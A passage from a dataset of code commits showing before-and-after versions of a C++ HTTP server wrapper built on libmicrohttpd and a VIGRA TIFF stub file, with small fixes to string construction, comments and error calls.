q.get());\n\n\treturn url_handler->second(q, result);\n}\n\nint HTTPServer::mhd_iter_headers(void *cls, MHD_ValueKind, const char *key,\n\tconst char *value)\n{\n\tHTTPQuery *q = (HTTPQuery *) cls;\n\tif (q && key && value) {\n\t\tq->headers[std::string(key)] = std::string(value);\n\t}\n\treturn MHD_YES; \/\/ continue iteration\n}\n\nint HTTPServer::mhd_iter_getargs(void *cls, MHD_ValueKind, const char *key,\n\tconst char *value)\n{\n\tHTTPQuery *q = (HTTPQuery *) cls;\n\tif (q && key && value) {\n\t\tq->get_params[std::string(key)] = std::string(value);\n\t}\n\treturn MHD_YES; \/\/ continue iteration\n}\n\nbool HTTPServer::parse_post_data(const std::string &data, HTTPQueryPtr q)\n{\n\tHTTPFormQuery *qf = dynamic_cast<HTTPFormQuery *>(q.get());\n\tassert(qf);\n\tstd::vector<std::string> first_split;\n\tstr_split(data, '&', first_split);\n\n\tfor (const auto &s: first_split) {\n\t\t\/\/ If this post data is empty, abort\n\t\tif (s.empty()) {\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::vector<std::string> kv;\n\t\tstr_split(s, '=', kv);\n\n\t\t\/\/ If the key value pair is invalid, abort\n\t\tif (kv.size() != 2 || kv[0].empty() || kv[1].empty()) {\n\t\t\treturn false;\n\t\t}\n\n\t\tqf->post_data[kv[0]] = kv[1];\n\t}\n\n\treturn true;\n}\n<commit_msg>Properly create strings using strlen for length of strings<commit_after>\/**\n * Copyright (c) 2016, Loic Blot <loic.blot@unix-experience.fr>\n * All rights reserved.\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"httpserver.h\"\n#include <cstring>\n#include <cassert>\n#include <iostream>\n#include <sstream>\n#include \"utils\/stringutils.h\"\n\nstatic const char* NOT_FOUND_PAGE = \"<html><head><title>Not found<\/title><\/head><body><h1>No resource found at this address.<\/h1><\/body><\/html>\";\nstatic const char* BAD_REQUEST = \"<html><head><title>Bad request<\/title><\/head><body><h1>Bad request<\/h1><\/body><\/html>\";\n\nHTTPServer::HTTPServer(const uint16_t http_port): m_http_port(http_port)\n{\n\tm_mhd_daemon = MHD_start_daemon(MHD_USE_THREAD_PER_CONNECTION, m_http_port, NULL,\n\t\t\tNULL, &HTTPServer::request_handler, this, MHD_OPTION_NOTIFY_COMPLETED,\n\t\t\t&HTTPServer::request_completed, NULL, MHD_OPTION_END);\n}\n\nHTTPServer::~HTTPServer()\n{\n\tif (m_mhd_daemon) {\n\t\tMHD_stop_daemon(m_mhd_daemon);\n\t}\n}\n\nstruct HTTPRequestSession\n{\n\tstd::string result = \"\";\n\tbool data_handled = false;\n\tuint32_t http_code = MHD_HTTP_OK;\n};\n\nint HTTPServer::request_handler(void *http_server, struct MHD_Connection *connection,\n\tconst char *url, const char *method, const char *version, const char *upload_data,\n\tsize_t *upload_data_size, void **con_cls)\n{\n\tHTTPServer *httpd = (HTTPServer *) http_server;\n\tHTTPMethod http_method;\n\tstruct MHD_Response *response;\n\tint ret;\n\n\tif (strcmp(method, \"GET\") == 0) {\n\t\thttp_method = HTTP_METHOD_GET;\n\t}\n\telse if (strcmp(method, \"POST\") == 0) {\n\t\thttp_method = HTTP_METHOD_POST;\n\t}\n\telse if (strcmp(method, \"PUT\") == 0) {\n\t\thttp_method = HTTP_METHOD_PUT;\n\t}\n\telse if (strcmp(method, \"PATCH\") == 0) {\n\t\thttp_method = HTTP_METHOD_PATCH;\n\t}\n\telse if (strcmp(method, \"PROPFIND\") == 0) {\n\t\thttp_method = HTTP_METHOD_PROPFIND;\n\t}\n\telse if (strcmp(method, \"DELETE\") == 0) {\n\t\thttp_method = HTTP_METHOD_DELETE;\n\t}\n\telse if (strcmp(method, \"HEAD\") == 0) {\n\t\thttp_method = HTTP_METHOD_HEAD;\n\t}\n\telse {\n\t\treturn MHD_NO; \/* unexpected method *\/\n\t}\n\n\tif (*con_cls == NULL) {\n\t\t\/\/ The first time only the headers are valid,\n\t\t\/\/ do not respond in the first round...\n\t\t\/\/ Just init our response\n\t\tHTTPRequestSession *session = new HTTPRequestSession();\n\t\t*con_cls = session;\n\t\treturn MHD_YES;\n\t}\n\n\t\/\/ Handle request\n\tHTTPRequestSession *session = (HTTPRequestSession *) *con_cls;\n\tif (!session->data_handled && !httpd->handle_query(http_method, connection, std::string(url),\n\t\tstd::string(upload_data, *upload_data_size), session->result)) {\n\t\tsession->result = std::string(BAD_REQUEST);\n\t\tsession->http_code = MHD_HTTP_BAD_REQUEST;\n\t}\n\n\t\/\/ When post data is available, reinit the data_size because this function\n\t\/\/ is called another time. And mark the current session as handled\n\tif (*upload_data_size > 0) {\n\t\t*upload_data_size = 0;\n\t\tsession->data_handled = true;\n\t\treturn MHD_YES;\n\t}\n\n\tresponse = MHD_create_response_from_buffer(session->result.length(),\n\t\t(void *) session->result.c_str(), MHD_RESPMEM_MUST_COPY);\n\tret = MHD_queue_response(connection, session->http_code, response);\n\tMHD_destroy_response(response);\n\n\t\/\/ clear context pointer\n\tdelete session;\n\t*con_cls = NULL;\n\treturn ret;\n}\n\nvoid HTTPServer::request_completed(void *cls, struct MHD_Connection *connection,\n\t\tvoid **con_cls, MHD_RequestTerminationCode toe)\n{\n}\n\nbool HTTPServer::handle_query(HTTPMethod m, MHD_Connection *conn, const std::string &url,\n\tconst std::string &upload_data, std::string &result)\n{\n\tassert(m < HTTP_METHOD_MAX);\n\n\tHTTPServerReqHandlerMap::const_iterator url_handler = m_handlers[m].find(url);\n\tif (url_handler == m_handlers[m].end()) {\n\t\treturn false;\n\t}\n\n\tHTTPQueryPtr q;\n\n\t\/\/ Read which params we want and store them\n\tconst char* content_type = MHD_lookup_connection_value(conn, MHD_HEADER_KIND, \"Content-Type\");\n\tif (!content_type) {\n\t\tq = HTTPQueryPtr(new HTTPQuery());\n\t}\n\telse if (strcmp(content_type, \"application\/x-www-form-urlencoded\") == 0) {\n\t\tq = HTTPQueryPtr(new HTTPFormQuery());\n\t\tif (!parse_post_data(upload_data, q)) {\n\t\t\treturn false;\n\t\t}\n\t}\n\telse if (strcmp(content_type, \"application\/json\") == 0) {\n\t\tHTTPJsonQuery *jq = new HTTPJsonQuery();\n\t\tq = HTTPQueryPtr(jq);\n\t\tJson::Reader reader;\n\t\tif (!reader.parse(upload_data, jq->json_query)) {\n\t\t\treturn false;\n\t\t}\n\t}\n\telse {\n\t\tq = HTTPQueryPtr(new HTTPQuery());\n\t}\n\n\tq->url = url;\n\tMHD_get_connection_values(conn, MHD_HEADER_KIND, &HTTPServer::mhd_iter_headers, q.get());\n\tMHD_get_connection_values(conn, MHD_GET_ARGUMENT_KIND, &HTTPServer::mhd_iter_getargs, q.get());\n\n\treturn url_handler->second(q, result);\n}\n\nint HTTPServer::mhd_iter_headers(void *cls, MHD_ValueKind, const char *key,\n\tconst char *value)\n{\n\tHTTPQuery *q = (HTTPQuery *) cls;\n\tif (q && key && value) {\n\t\tq->headers[std::string(key, strlen(key))] = std::string(value, strlen(value));\n\t}\n\treturn MHD_YES; \/\/ continue iteration\n}\n\nint HTTPServer::mhd_iter_getargs(void *cls, MHD_ValueKind, const char *key,\n\tconst char *value)\n{\n\tHTTPQuery *q = (HTTPQuery *) cls;\n\tif (q && key && value) {\n\t\tq->get_params[std::string(key, strlen(key))] = std::string(value, strlen(value));\n\t}\n\treturn MHD_YES; \/\/ continue iteration\n}\n\nbool HTTPServer::parse_post_data(const std::string &data, HTTPQueryPtr q)\n{\n\tHTTPFormQuery *qf = dynamic_cast<HTTPFormQuery *>(q.get());\n\tassert(qf);\n\tstd::vector<std::string> first_split;\n\tstr_split(data, '&', first_split);\n\n\tfor (const auto &s: first_split) {\n\t\t\/\/ If this post data is empty, abort\n\t\tif (s.empty()) {\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::vector<std::string> kv;\n\t\tstr_split(s, '=', kv);\n\n\t\t\/\/ If the key value pair is invalid, abort\n\t\tif (kv.size() != 2 || kv[0].empty() || kv[1].empty()) {\n\t\t\treturn false;\n\t\t}\n\n\t\tqf->post_data[kv[0]] = kv[1];\n\t}\n\n\treturn true;\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright (c) 2016, Loic Blot <loic.blot@unix-experience.fr>\n * All rights reserved.\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"httpserver.h\"\n#include <cstring>\n#include <cassert>\n#include <iostream>\n#include <stdlib.h>\n#include <sstream>\n#include \"utils\/stringutils.h\"\n\nstatic const char* NOT_FOUND_PAGE = \"<html><head><title>Not found<\/title><\/head><body><h1>No resource found at this address.<\/h1><\/body><\/html>\";\nstatic const char* BAD_REQUEST = \"<html><head><title>Bad request<\/title><\/head><body><h1>Bad request<\/h1><\/body><\/html>\";\n\nHTTPServer::HTTPServer(const uint16_t http_port): m_http_port(http_port)\n{\n\tm_mhd_daemon = MHD_start_daemon(MHD_USE_THREAD_PER_CONNECTION, m_http_port, NULL,\n\t\t\tNULL, &HTTPServer::request_handler, this, MHD_OPTION_NOTIFY_COMPLETED,\n\t\t\t&HTTPServer::request_completed, NULL, MHD_OPTION_END);\n}\n\nHTTPServer::~HTTPServer()\n{\n\tif (m_mhd_daemon) {\n\t\tMHD_stop_daemon(m_mhd_daemon);\n\t}\n}\n\nstruct HTTPRequestSession\n{\n\tstd::string result = \"\";\n\tbool data_handled = false;\n};\n\nint HTTPServer::request_handler(void *http_server, struct MHD_Connection *connection,\n\tconst char *url, const char *method, const char *version, const char *upload_data,\n\tsize_t *upload_data_size, void **con_cls)\n{\n\tHTTPServer *httpd = (HTTPServer *) http_server;\n\tHTTPMethod http_method;\n\tstruct MHD_Response *response;\n\tint ret;\n\n\tif (strcmp(method, \"GET\") == 0) {\n\t\thttp_method = HTTP_METHOD_GET;\n\t}\n\telse if (strcmp(method, \"POST\") == 0) {\n\t\thttp_method = HTTP_METHOD_POST;\n\t}\n\telse if (strcmp(method, \"PUT\") == 0) {\n\t\thttp_method = HTTP_METHOD_PUT;\n\t}\n\telse if (strcmp(method, \"PATCH\") == 0) {\n\t\thttp_method = HTTP_METHOD_PATCH;\n\t}\n\telse if (strcmp(method, \"PROPFIND\") == 0) {\n\t\thttp_method = HTTP_METHOD_PROPFIND;\n\t}\n\telse if (strcmp(method, \"DELETE\") == 0) {\n\t\thttp_method = HTTP_METHOD_DELETE;\n\t}\n\telse if (strcmp(method, \"HEAD\") == 0) {\n\t\thttp_method = HTTP_METHOD_HEAD;\n\t}\n\telse {\n\t\treturn MHD_NO; \/* unexpected method *\/\n\t}\n\n\tif (*con_cls == NULL) {\n\t\t\/* The first time only the headers are valid,\n\t\t do not respond in the first round...\n\t\t Just init our response*\/\n\t\tHTTPRequestSession *session = new HTTPRequestSession();\n\t\t*con_cls = session;\n\t\treturn MHD_YES;\n\t}\n\n\t\/\/ Handle request\n\tHTTPRequestSession *session = (HTTPRequestSession *) *con_cls;\n\tif (!session->data_handled && !httpd->handle_query(http_method, connection, std::string(url),\n\t\tstd::string(upload_data, *upload_data_size), session->result)) {\n\t\tsession->result = std::string(BAD_REQUEST);\n\t}\n\n\t\/\/ When post data is available, reinit the data_size because this function\n\t\/\/ is called another time. And mark the current session as handled\n\tif (*upload_data_size > 0) {\n\t\t*upload_data_size = 0;\n\t\tsession->data_handled = true;\n\t\treturn MHD_YES;\n\t}\n\n\tresponse = MHD_create_response_from_buffer(session->result.length(),\n\t\t(void *) session->result.c_str(), MHD_RESPMEM_MUST_COPY);\n\tret = MHD_queue_response(connection, MHD_HTTP_OK, response);\n\tMHD_destroy_response(response);\n\n\tdelete session;\n\t*con_cls = NULL; \/* clear context pointer *\/\n\treturn ret;\n}\n\nvoid HTTPServer::request_completed(void *cls, struct MHD_Connection *connection,\n\t\tvoid **con_cls, MHD_RequestTerminationCode toe)\n{\n}\n\nbool HTTPServer::handle_query(HTTPMethod m, MHD_Connection *conn, const std::string &url,\n\tconst std::string &upload_data, std::string &result)\n{\n\tassert(m < HTTP_METHOD_MAX);\n\n\tHTTPServerReqHandlerMap::const_iterator url_handler = m_handlers[m].find(url);\n\tif (url_handler == m_handlers[m].end()) {\n\t\treturn false;\n\t}\n\n\t\/\/ Read which params we want and store them\n\tHTTPQuery q;\n\n\tq.url = url;\n\tMHD_get_connection_values(conn, MHD_HEADER_KIND, &HTTPServer::mhd_iter_headers, &q);\n\tMHD_get_connection_values(conn, MHD_GET_ARGUMENT_KIND, &HTTPServer::mhd_iter_getargs, &q);\n\n\tconst auto ct_itr = q.headers.find(\"Content-Type\");\n\tif (ct_itr != q.headers.end()) {\n\t\tif (ct_itr->second == \"application\/x-www-form-urlencoded\") {\n\t\t\t\/\/ Abort if upload_data is invalid\n\t\t\tif (!parse_post_data(upload_data, q)) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn url_handler->second(q, result);\n}\n\nint HTTPServer::mhd_iter_headers(void *cls, MHD_ValueKind, const char *key,\n\tconst char *value)\n{\n\tHTTPQuery *q = (HTTPQuery *) cls;\n\tif (q && key && value) {\n\t\tq->headers[std::string(key)] = std::string(value);\n\t}\n\treturn MHD_YES; \/\/ continue iteration\n}\n\nint HTTPServer::mhd_iter_getargs(void *cls, MHD_ValueKind, const char *key,\n\tconst char *value)\n{\n\tHTTPQuery *q = (HTTPQuery *) cls;\n\tif (q && key && value) {\n\t\tq->get_params[std::string(key)] = std::string(value);\n\t}\n\treturn MHD_YES; \/\/ continue iteration\n}\n\nbool HTTPServer::parse_post_data(const std::string &data, HTTPQuery &q)\n{\n\tstd::vector<std::string> first_split;\n\tstr_split(data, '&', first_split);\n\n\tfor (const auto &s: first_split) {\n\t\t\/\/ If this post data is empty, abort\n\t\tif (s.empty()) {\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::vector<std::string> kv;\n\t\tstr_split(s, '=', kv);\n\n\t\t\/\/ If the key value pair is invalid, abort\n\t\tif (kv.size() != 2 || kv[0].empty() || kv[1].empty()) {\n\t\t\treturn false;\n\t\t}\n\n\t\tq.post_data[kv[0]] = kv[1];\n\t}\n\n\treturn true;\n}\n<commit_msg>Update comments<commit_after>\/**\n * Copyright (c) 2016, Loic Blot <loic.blot@unix-experience.fr>\n * All rights reserved.\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"httpserver.h\"\n#include <cstring>\n#include <cassert>\n#include <iostream>\n#include <stdlib.h>\n#include <sstream>\n#include \"utils\/stringutils.h\"\n\nstatic const char* NOT_FOUND_PAGE = \"<html><head><title>Not found<\/title><\/head><body><h1>No resource found at this address.<\/h1><\/body><\/html>\";\nstatic const char* BAD_REQUEST = \"<html><head><title>Bad request<\/title><\/head><body><h1>Bad request<\/h1><\/body><\/html>\";\n\nHTTPServer::HTTPServer(const uint16_t http_port): m_http_port(http_port)\n{\n\tm_mhd_daemon = MHD_start_daemon(MHD_USE_THREAD_PER_CONNECTION, m_http_port, NULL,\n\t\t\tNULL, &HTTPServer::request_handler, this, MHD_OPTION_NOTIFY_COMPLETED,\n\t\t\t&HTTPServer::request_completed, NULL, MHD_OPTION_END);\n}\n\nHTTPServer::~HTTPServer()\n{\n\tif (m_mhd_daemon) {\n\t\tMHD_stop_daemon(m_mhd_daemon);\n\t}\n}\n\nstruct HTTPRequestSession\n{\n\tstd::string result = \"\";\n\tbool data_handled = false;\n};\n\nint HTTPServer::request_handler(void *http_server, struct MHD_Connection *connection,\n\tconst char *url, const char *method, const char *version, const char *upload_data,\n\tsize_t *upload_data_size, void **con_cls)\n{\n\tHTTPServer *httpd = (HTTPServer *) http_server;\n\tHTTPMethod http_method;\n\tstruct MHD_Response *response;\n\tint ret;\n\n\tif (strcmp(method, \"GET\") == 0) {\n\t\thttp_method = HTTP_METHOD_GET;\n\t}\n\telse if (strcmp(method, \"POST\") == 0) {\n\t\thttp_method = HTTP_METHOD_POST;\n\t}\n\telse if (strcmp(method, \"PUT\") == 0) {\n\t\thttp_method = HTTP_METHOD_PUT;\n\t}\n\telse if (strcmp(method, \"PATCH\") == 0) {\n\t\thttp_method = HTTP_METHOD_PATCH;\n\t}\n\telse if (strcmp(method, \"PROPFIND\") == 0) {\n\t\thttp_method = HTTP_METHOD_PROPFIND;\n\t}\n\telse if (strcmp(method, \"DELETE\") == 0) {\n\t\thttp_method = HTTP_METHOD_DELETE;\n\t}\n\telse if (strcmp(method, \"HEAD\") == 0) {\n\t\thttp_method = HTTP_METHOD_HEAD;\n\t}\n\telse {\n\t\treturn MHD_NO; \/* unexpected method *\/\n\t}\n\n\tif (*con_cls == NULL) {\n\t\t\/\/ The first time only the headers are valid,\n\t\t\/\/ do not respond in the first round...\n\t\t\/\/ Just init our response\n\t\tHTTPRequestSession *session = new HTTPRequestSession();\n\t\t*con_cls = session;\n\t\treturn MHD_YES;\n\t}\n\n\t\/\/ Handle request\n\tHTTPRequestSession *session = (HTTPRequestSession *) *con_cls;\n\tif (!session->data_handled && !httpd->handle_query(http_method, connection, std::string(url),\n\t\tstd::string(upload_data, *upload_data_size), session->result)) {\n\t\tsession->result = std::string(BAD_REQUEST);\n\t}\n\n\t\/\/ When post data is available, reinit the data_size because this function\n\t\/\/ is called another time. And mark the current session as handled\n\tif (*upload_data_size > 0) {\n\t\t*upload_data_size = 0;\n\t\tsession->data_handled = true;\n\t\treturn MHD_YES;\n\t}\n\n\tresponse = MHD_create_response_from_buffer(session->result.length(),\n\t\t(void *) session->result.c_str(), MHD_RESPMEM_MUST_COPY);\n\tret = MHD_queue_response(connection, MHD_HTTP_OK, response);\n\tMHD_destroy_response(response);\n\n\t\/\/ clear context pointer\n\tdelete session;\n\t*con_cls = NULL;\n\treturn ret;\n}\n\nvoid HTTPServer::request_completed(void *cls, struct MHD_Connection *connection,\n\t\tvoid **con_cls, MHD_RequestTerminationCode toe)\n{\n}\n\nbool HTTPServer::handle_query(HTTPMethod m, MHD_Connection *conn, const std::string &url,\n\tconst std::string &upload_data, std::string &result)\n{\n\tassert(m < HTTP_METHOD_MAX);\n\n\tHTTPServerReqHandlerMap::const_iterator url_handler = m_handlers[m].find(url);\n\tif (url_handler == m_handlers[m].end()) {\n\t\treturn false;\n\t}\n\n\t\/\/ Read which params we want and store them\n\tHTTPQuery q;\n\n\tq.url = url;\n\tMHD_get_connection_values(conn, MHD_HEADER_KIND, &HTTPServer::mhd_iter_headers, &q);\n\tMHD_get_connection_values(conn, MHD_GET_ARGUMENT_KIND, &HTTPServer::mhd_iter_getargs, &q);\n\n\tconst auto ct_itr = q.headers.find(\"Content-Type\");\n\tif (ct_itr != q.headers.end()) {\n\t\tif (ct_itr->second == \"application\/x-www-form-urlencoded\") {\n\t\t\t\/\/ Abort if upload_data is invalid\n\t\t\tif (!parse_post_data(upload_data, q)) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn url_handler->second(q, result);\n}\n\nint HTTPServer::mhd_iter_headers(void *cls, MHD_ValueKind, const char *key,\n\tconst char *value)\n{\n\tHTTPQuery *q = (HTTPQuery *) cls;\n\tif (q && key && value) {\n\t\tq->headers[std::string(key)] = std::string(value);\n\t}\n\treturn MHD_YES; \/\/ continue iteration\n}\n\nint HTTPServer::mhd_iter_getargs(void *cls, MHD_ValueKind, const char *key,\n\tconst char *value)\n{\n\tHTTPQuery *q = (HTTPQuery *) cls;\n\tif (q && key && value) {\n\t\tq->get_params[std::string(key)] = std::string(value);\n\t}\n\treturn MHD_YES; \/\/ continue iteration\n}\n\nbool HTTPServer::parse_post_data(const std::string &data, HTTPQuery &q)\n{\n\tstd::vector<std::string> first_split;\n\tstr_split(data, '&', first_split);\n\n\tfor (const auto &s: first_split) {\n\t\t\/\/ If this post data is empty, abort\n\t\tif (s.empty()) {\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::vector<std::string> kv;\n\t\tstr_split(s, '=', kv);\n\n\t\t\/\/ If the key value pair is invalid, abort\n\t\tif (kv.size() != 2 || kv[0].empty() || kv[1].empty()) {\n\t\t\treturn false;\n\t\t}\n\n\t\tq.post_data[kv[0]] = kv[1];\n\t}\n\n\treturn true;\n}\n<|endoftext|>"} {"text":"<commit_before>\/************************************************************************\/\n\/* *\/\n\/* Copyright 1998-2000 by Ullrich Koethe *\/\n\/* Cognitive Systems Group, University of Hamburg, Germany *\/\n\/* *\/\n\/* This file is part of the VIGRA computer vision library. *\/\n\/* You may use, modify, and distribute this software according *\/\n\/* to the terms stated in the LICENSE file included in *\/\n\/* the VIGRA distribution. *\/\n\/* *\/\n\/* The VIGRA Website is *\/\n\/* http:\/\/kogs-www.informatik.uni-hamburg.de\/~koethe\/vigra\/ *\/\n\/* Please direct questions, bug reports, and contributions to *\/\n\/* koethe@informatik.uni-hamburg.de *\/\n\/* *\/\n\/* THIS SOFTWARE IS PROVIDED AS IS AND WITHOUT ANY EXPRESS OR *\/\n\/* IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED *\/\n\/* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. *\/\n\/* *\/\n\/************************************************************************\/\n \n\n\/* \n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% %\n% This file contains source code adapted from ImageMagick %\n% %\n% ImageMagick is Copyright 1998 E. I. du Pont de Nemours and Company %\n% %\n% Permission is hereby granted, free of charge, to any person obtaining a %\n% copy of this software and associated documentation files (\"ImageMagick\"), %\n% to deal in ImageMagick without restriction, including without limitation %\n% the rights to use, copy, modify, merge, publish, distribute, sublicense, %\n% and\/or sell copies of ImageMagick, and to permit persons to whom the %\n% ImageMagick is furnished to do so, subject to the following conditions: %\n% %\n% The above copyright notice and this permission notice shall be included in %\n% all copies or substantial portions of ImageMagick. %\n% %\n% The software is provided \"as is\", without warranty of any kind, express or %\n% implied, including but not limited to the warranties of merchantability, %\n% fitness for a particular purpose and noninfringement. In no event shall %\n% E. I. du Pont de Nemours and Company be liable for any claim, damages or %\n% other liability, whether in an action of contract, tort or otherwise, %\n% arising from, out of or in connection with ImageMagick or the use or other %\n% dealings in ImageMagick. %\n% %\n% Except as contained in this notice, the name of the E. I. du Pont de %\n% Nemours and Company shall not be used in advertising or otherwise to %\n% promote the sale, use or other dealings in ImageMagick without prior %\n% written authorization from the E. I. du Pont de Nemours and Company. %\n% %\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n*\/\n#if !defined(HasTIFF)\n\n#include \"vigra\/error.hxx\"\n#include \"vigra\/tiff.h\"\n\nExport VigraImpexImage *vigraImpexReadTIFFImage( VigraImpexImageInfo *image_info)\n{\n fail( \"TIFF library is not available\");\n return 0;\n}\nExport unsigned int vigraImpexWriteTIFFImage( VigraImpexImageInfo *image_info,VigraImpexImage *image)\n{\n fail( \"TIFF library is not available\");\n return 0;\n}\nExport\tvoid TIFFClose(TiffImage*)\n{\n fail( \"TIFF library is not available\");\n}\nExport\tTiffImage* TIFFOpen(const char*, const char*)\n{\n fail( \"TIFF library is not available\");\n return 0;\n}\nExport\tint TIFFGetField(TiffImage*, ttag_t, ...)\n{\n fail( \"TIFF library is not available\");\n return 0;\n}\nExport\tint TIFFSetField(TiffImage*, ttag_t, ...)\n{\n fail( \"TIFF library is not available\");\n return 0;\n}\nExport\ttsize_t TIFFScanlineSize(TiffImage*)\n{\n fail( \"TIFF library is not available\");\n return 0;\n}\nExport\tint TIFFReadScanline(TiffImage*, tdata_t, uint32, tsample_t = 0)\n{\n fail( \"TIFF library is not available\");\n return 0;\n}\nExport\tint TIFFWriteScanline(TiffImage*, tdata_t, uint32, tsample_t = 0)\n{\n fail( \"TIFF library is not available\");\n return 0;\n}\nExport\tint TIFFReadRGBAImage(TiffImage*, uint32, uint32, uint32*, int = 0)\n{\n fail( \"TIFF library is not available\");\n return 0;\n}\n#endif\n<commit_msg>added missing include and changed \"fail()\" into \"vigra_fail()\" in order to make the file work when HasTiff is not defined.<commit_after>\/************************************************************************\/\n\/* *\/\n\/* Copyright 1998-2000 by Ullrich Koethe *\/\n\/* Cognitive Systems Group, University of Hamburg, Germany *\/\n\/* *\/\n\/* This file is part of the VIGRA computer vision library. *\/\n\/* ( Version 1.1.0, Dec 05 2000 ) *\/\n\/* You may use, modify, and distribute this software according *\/\n\/* to the terms stated in the LICENSE file included in *\/\n\/* the VIGRA distribution. *\/\n\/* *\/\n\/* The VIGRA Website is *\/\n\/* http:\/\/kogs-www.informatik.uni-hamburg.de\/~koethe\/vigra\/ *\/\n\/* Please direct questions, bug reports, and contributions to *\/\n\/* koethe@informatik.uni-hamburg.de *\/\n\/* *\/\n\/* THIS SOFTWARE IS PROVIDED AS IS AND WITHOUT ANY EXPRESS OR *\/\n\/* IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED *\/\n\/* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. *\/\n\/* *\/\n\/************************************************************************\/\n \n\n\/* \n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% %\n% This file contains source code adapted from ImageMagick %\n% %\n% ImageMagick is Copyright 1998 E. I. du Pont de Nemours and Company %\n% %\n% Permission is hereby granted, free of charge, to any person obtaining a %\n% copy of this software and associated documentation files (\"ImageMagick\"), %\n% to deal in ImageMagick without restriction, including without limitation %\n% the rights to use, copy, modify, merge, publish, distribute, sublicense, %\n% and\/or sell copies of ImageMagick, and 